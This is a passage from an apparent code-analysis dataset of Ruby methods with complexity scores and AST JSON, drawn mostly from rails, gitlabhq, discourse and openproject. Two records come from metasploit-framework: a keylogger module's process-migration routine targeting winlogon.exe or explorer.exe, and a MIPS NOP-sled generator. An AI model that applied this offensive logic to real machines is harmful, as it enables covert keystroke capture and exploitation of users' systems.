self,\n        *process_args(event, old_state.name, *args)\n      )\n      event.fire_global_callbacks(\n        :after_all_events,\n        self,\n        *process_args(event, old_state.name, *args)\n      )\n\n      self.aasm_event_fired(event.name, old_state.name, aasm(state_machine_name).current_state) if self.respond_to?(:aasm_event_fired)\n    else\n      self.aasm_event_failed(event.name, old_state.name) if self.respond_to?(:aasm_event_failed)\n    end\n\n    persist_successful\n  end","complexity_score":71.3,"ast_json":"{\"type\":\"def\",\"children\":[\"aasm_fired\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"state_machine_name\"]},{\"type\":\"arg\",\"children\":[\"event\"]},{\"type\":\"arg\",\"children\":[\"old_state\"]},{\"type\":\"arg\",\"children\":[\"new_state_name\"]},{\"type\":\"arg\",\"children\":[\"options\"]},{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"persist\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"persist\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"new_state\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"aasm\",{\"type\":\"lvar\",\"children\":[\"state_machine_name\"]}]},\"state_object_for_name\",{\"type\":\"lvar\",\"children\":[\"new_state_name\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"callback_args\",{\"type\":\"send\",\"children\":[null,\"process_args\",{\"type\":\"lvar\",\"children\":[\"event\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"aasm\",{\"type\":\"lvar\",\"children\":[\"state_machine_name\"]}]},\"current_state\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_state\"]},\"fire_callbacks\",{\"type\":\"sym\",\"children\":[\"before_enter\"]},{\"type\":\"self\",\"children\":[]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"callback_args\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_state\"]},\"fire_callbacks\",{\"type\":\"sym\",\"children\":[\"enter\"]},{\"type\":\"self\",\"children\":[]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"callback_args\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"persist_successful\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"persist\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"persist_successful\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"aasm\",{\"type\":\"lvar\",\"children\":[\"state_machine_name\"]}]},\"set_current_state_with_persistence\",{\"type\":\"lvar\",\"children\":[\"new_state_name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"persist_successful\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},{\"type\":\"yield\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"fire_callbacks\",{\"type\":\"sym\",\"children\":[\"before_success\"]},{\"type\":\"self\",\"children\":[]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"callback_args\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"fire_transition_callbacks\",{\"type\":\"self\",\"children\":[]},{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"process_args\",{\"type\":\"lvar\",\"children\":[\"event\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"old_state\"]},\"name\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"fire_callbacks\",{\"type\":\"sym\",\"children\":[\"success\"]},{\"type\":\"self\",\"children\":[]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"callback_args\"]}]}]}]},null]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"aasm\",{\"type\":\"lvar\",\"children\":[\"state_machine_name\"]}]},\"current_state=\",{\"type\":\"lvar\",\"children\":[\"new_state_name\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},{\"type\":\"yield\",\"children\":[]},null]}]}]},{\"type\":\"lvasgn\",\"children\":[\"binding_event\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"binding_event\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"binding_event\"]},{\"type\":\"send\",\"children\":[null,\"__send__\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"binding_event\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"persist\"]},{\"type\":\"str\",\"children\":[\"!\"]},null]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"persist_successful\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"old_state\"]},\"fire_callbacks\",{\"type\":\"sym\",\"children\":[\"after_exit\"]},{\"type\":\"self\",\"children\":[]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"callback_args\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_state\"]},\"fire_callbacks\",{\"type\":\"sym\",\"children\":[\"after_enter\"]},{\"type\":\"self\",\"children\":[]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"callback_args\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"fire_callbacks\",{\"type\":\"sym\",\"children\":[\"after\"]},{\"type\":\"self\",\"children\":[]},{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"process_args\",{\"type\":\"lvar\",\"children\":[\"event\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"old_state\"]},\"name\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"fire_global_callbacks\",{\"type\":\"sym\",\"children\":[\"after_all_events\"]},{\"type\":\"self\",\"children\":[]},{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"process_args\",{\"type\":\"lvar\",\"children\":[\"event\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"old_state\"]},\"name\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"aasm_event_fired\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"aasm_event_fired\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"old_state\"]},\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"aasm\",{\"type\":\"lvar\",\"children\":[\"state_machine_name\"]}]},\"current_state\"]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"aasm_event_failed\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"aasm_event_failed\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"old_state\"]},\"name\"]}]},null]}]},{\"type\":\"lvar\",\"children\":[\"persist_successful\"]}]}]}","id":"ced7a1bd-ed05-4f7f-87e0-f5e212e706df"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/generators/rails/devcontainer/devcontainer_generator.rb","start_line":106,"raw_source":"def features\n          return @features if @features\n\n          @features = {\n            \"ghcr.io/devcontainers/features/github-cli:1\" => {}\n          }\n\n          @features[\"ghcr.io/rails/devcontainer/features/activestorage\"] = {} if options[:active_storage]\n          @features[\"ghcr.io/devcontainers/features/node:1\"] = {} if options[:node]\n          @features[\"ghcr.io/devcontainers/features/docker-outside-of-docker:1\"] = { moby: false } if options[:kamal]\n\n          @features.merge!(database.feature) if database.feature\n\n          @features\n        end","complexity_score":22.0,"ast_json":"{\"type\":\"def\",\"children\":[\"features\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@features\"]},{\"type\":\"return\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@features\"]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@features\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ghcr.io/devcontainers/features/github-cli:1\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"active_storage\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@features\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"ghcr.io/rails/devcontainer/features/activestorage\"]},{\"type\":\"hash\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@features\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"ghcr.io/devcontainers/features/node:1\"]},{\"type\":\"hash\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"kamal\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@features\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"ghcr.io/devcontainers/features/docker-outside-of-docker:1\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"moby\"]},{\"type\":\"false\",\"children\":[]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"database\"]},\"feature\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@features\"]},\"merge!\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"database\"]},\"feature\"]}]},null]},{\"type\":\"ivar\",\"children\":[\"@features\"]}]}]}","id":"6ca74edc-08db-4422-a89e-493e4562827c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/jira/requests/base.rb","start_line":72,"raw_source":"def config_docs_link_start\n        config_docs_link_url = Rails.application.routes.url_helpers.help_page_path('integration/jira/configure.md')\n        link_start(config_docs_link_url)\n      end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"config_docs_link_start\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"config_docs_link_url\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"application\"]},\"routes\"]},\"url_helpers\"]},\"help_page_path\",{\"type\":\"str\",\"children\":[\"integration/jira/configure.md\"]}]}]},{\"type\":\"send\",\"children\":[null,\"link_start\",{\"type\":\"lvar\",\"children\":[\"config_docs_link_url\"]}]}]}]}","id":"75f372f2-319b-42cf-a942-db95cc5480e2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/x509/certificate.rb","start_line":46,"raw_source":"def self.from_files(key_path, cert_path, ca_certs_path = nil)\n        ca_certs_string = File.read(ca_certs_path) if ca_certs_path\n\n        from_strings(File.read(key_path), File.read(cert_path), ca_certs_string)\n      end","complexity_score":7.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"from_files\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key_path\"]},{\"type\":\"arg\",\"children\":[\"cert_path\"]},{\"type\":\"optarg\",\"children\":[\"ca_certs_path\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ca_certs_path\"]},{\"type\":\"lvasgn\",\"children\":[\"ca_certs_string\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"read\",{\"type\":\"lvar\",\"children\":[\"ca_certs_path\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"from_strings\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"read\",{\"type\":\"lvar\",\"children\":[\"key_path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"read\",{\"type\":\"lvar\",\"children\":[\"cert_path\"]}]},{\"type\":\"lvar\",\"children\":[\"ca_certs_string\"]}]}]}]}","id":"0d483bab-ad01-4e30-85d3-39d6660b30d8"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/key_generator.rb","start_line":56,"raw_source":"def initialize(key_generator)\n      @key_generator = key_generator\n      @cache_keys = Concurrent::Map.new\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key_generator\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@key_generator\",{\"type\":\"lvar\",\"children\":[\"key_generator\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@cache_keys\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Concurrent\"]},\"Map\"]},\"new\"]}]}]}]}","id":"244a5ae0-e1aa-4569-ab3c-9c941ff976aa"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/cop/gitlab/module_with_instance_variables.rb","start_line":59,"raw_source":"def initialize_method?(definition)\n          definition.children.first == :initialize\n        end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize_method?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"definition\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"definition\"]},\"children\"]},\"first\"]},\"==\",{\"type\":\"sym\",\"children\":[\"initialize\"]}]}]}","id":"11cdfd23-c51c-4036-bafc-62295fad5566"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/time_with_zone_test.rb","start_line":1260,"raw_source":"def test_time_zone_setter_with_find_zone_without_bang\n    assert_nil Time.zone = Time.find_zone(\"No such timezone exists\")\n    assert_nil Time.zone = Time.find_zone(-15.hours)\n    assert_nil Time.zone = Time.find_zone(Object.new)\n  end","complexity_score":13.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_time_zone_setter_with_find_zone_without_bang\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"find_zone\",{\"type\":\"str\",\"children\":[\"No such timezone exists\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"find_zone\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[-15]},\"hours\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"find_zone\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Object\"]},\"new\"]}]}]}]}]}]}","id":"c4ada388-d906-45ae-bd23-2f67d5f58bbc"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/onebox/file_type_finder.rb","start_line":47,"raw_source":"def self.from_file_name(file_name)\n      lower_name = file_name.downcase\n      # First check against the known lists of \"special\" files and extensions.\n      return @extensionless_files[lower_name] if @extensionless_files.has_key?(lower_name)\n\n      @long_file_types.each { |extension, type| return type if lower_name.end_with?(extension) }\n\n      # Otherwise, just split on the last \".\",\n      # but add one so we don't return the \".\" itself.\n      dot_spot = lower_name.rindex(\".\")\n      return lower_name[(dot_spot + 1)..-1] if dot_spot\n\n      # If we couldn't figure it out from the name,\n      # let the highlighter figure it out from the content.\n      \"\"\n    end","complexity_score":15.08,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"from_file_name\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"lower_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_name\"]},\"downcase\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@extensionless_files\"]},\"has_key?\",{\"type\":\"lvar\",\"children\":[\"lower_name\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@extensionless_files\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"lower_name\"]}]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@long_file_types\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"extension\"]},{\"type\":\"arg\",\"children\":[\"type\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lower_name\"]},\"end_with?\",{\"type\":\"lvar\",\"children\":[\"extension\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]}]},null]}]},{\"type\":\"lvasgn\",\"children\":[\"dot_spot\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lower_name\"]},\"rindex\",{\"type\":\"str\",\"children\":[\".\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dot_spot\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lower_name\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dot_spot\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"int\",\"children\":[-1]}]}]}]},null]},{\"type\":\"str\",\"children\":[\"\"]}]}]}","id":"fbd8ec1f-457a-4a4a-9632-f18c34ab0cd1"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/workers/scm/relocate_repository_job.rb","start_line":50,"raw_source":"def relocate_remote\n    response = send_request(repository_request.merge(\n                              action: :relocate,\n                              old_identifier: File.basename(repository.root_url)\n                            ))\n    repository.root_url = response[\"path\"]\n    repository.url = response[\"url\"]\n\n    unless repository.save\n      Rails.logger.error(\"Could not relocate the remote repository \" \\\n                         \"#{repository.repository_identifier}.\")\n    end\n  end","complexity_score":23.8,"ast_json":"{\"type\":\"def\",\"children\":[\"relocate_remote\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[null,\"send_request\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"repository_request\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"sym\",\"children\":[\"relocate\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"old_identifier\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"basename\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"repository\"]},\"root_url\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"repository\"]},\"root_url=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"[]\",{\"type\":\"str\",\"children\":[\"path\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"repository\"]},\"url=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"[]\",{\"type\":\"str\",\"children\":[\"url\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"repository\"]},\"save\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Could not relocate the remote repository \"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"repository\"]},\"repository_identifier\"]}]},{\"type\":\"str\",\"children\":[\".\"]}]}]}]}]}]}]}","id":"355e6ada-1c76-4c8f-8665-c2b7633852a7"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/webservice_test.rb","start_line":107,"raw_source":"def content_length; get_header(\"rack.input\").length; end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"content_length\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_header\",{\"type\":\"str\",\"children\":[\"rack.input\"]}]},\"length\"]}]}","id":"b3e5ece7-a887-4c3c-8b83-26c297b65c25"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/capture/keylog_recorder.rb","start_line":161,"raw_source":"def process_migrate\n    captype = datastore['CAPTURE_TYPE']\n\n    if captype == 'winlogon'\n      if is_uac_enabled? && !is_admin?\n        print_error('UAC is enabled on this host! Winlogon migration will be blocked. Exiting...')\n        return false\n      else\n        return migrate(get_pid('winlogon.exe'), 'winlogon.exe', session.sys.process.getpid)\n      end\n    end\n\n    return migrate(get_pid('explorer.exe'), 'explorer.exe', session.sys.process.getpid)\n  end","complexity_score":30.1,"ast_json":"{\"type\":\"def\",\"children\":[\"process_migrate\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"captype\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CAPTURE_TYPE\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"captype\"]},\"==\",{\"type\":\"str\",\"children\":[\"winlogon\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_uac_enabled?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_admin?\"]},\"!\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"UAC is enabled on this host! Winlogon migration will be blocked. Exiting...\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"migrate\",{\"type\":\"send\",\"children\":[null,\"get_pid\",{\"type\":\"str\",\"children\":[\"winlogon.exe\"]}]},{\"type\":\"str\",\"children\":[\"winlogon.exe\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"sys\"]},\"process\"]},\"getpid\"]}]}]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"migrate\",{\"type\":\"send\",\"children\":[null,\"get_pid\",{\"type\":\"str\",\"children\":[\"explorer.exe\"]}]},{\"type\":\"str\",\"children\":[\"explorer.exe\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"sys\"]},\"process\"]},\"getpid\"]}]}]}]}]}","id":"8dbce5a5-4c20-46fa-9518-4548e00c0baf"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/nops/mipsbe/better.rb","start_line":88,"raw_source":"def generate_sled(length, opts)\n    nop_fn = %i[make_bne make_or make_sll make_sra make_srl make_xori make_ori]\n    sled = ''\n\n    for _ in 1..length / 4 do\n      n = nop_fn.sample\n      sled << [send(n, get_register)].pack('N*')\n    end\n\n    return sled\n  end","complexity_score":15.35,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_sled\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"length\"]},{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"nop_fn\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"make_bne\"]},{\"type\":\"sym\",\"children\":[\"make_or\"]},{\"type\":\"sym\",\"children\":[\"make_sll\"]},{\"type\":\"sym\",\"children\":[\"make_sra\"]},{\"type\":\"sym\",\"children\":[\"make_srl\"]},{\"type\":\"sym\",\"children\":[\"make_xori\"]},{\"type\":\"sym\",\"children\":[\"make_ori\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sled\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"for\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"_\"]},{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"length\"]},\"/\",{\"type\":\"int\",\"children\":[4]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"n\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nop_fn\"]},\"sample\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sled\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"send\",{\"type\":\"lvar\",\"children\":[\"n\"]},{\"type\":\"send\",\"children\":[null,\"get_register\"]}]}]},\"pack\",{\"type\":\"str\",\"children\":[\"N*\"]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sled\"]}]}]}]}","id":"0c6a6ba2-6b43-4bc4-adb2-60aa544b3977"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20240528144530_remove_not_null_constraint_on_container_protection_rules_minimum_access_levels.rb","start_line":15,"raw_source":"def down\n    add_not_null_constraint TABLE_NAME, :minimum_access_level_for_push\n    add_not_null_constraint TABLE_NAME, :minimum_access_level_for_delete\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_not_null_constraint\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"sym\",\"children\":[\"minimum_access_level_for_push\"]}]},{\"type\":\"send\",\"children\":[null,\"add_not_null_constraint\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"sym\",\"children\":[\"minimum_access_level_for_delete\"]}]}]}]}","id":"1fdac5c5-8f07-4a98-b466-28f27ffc13e9"}
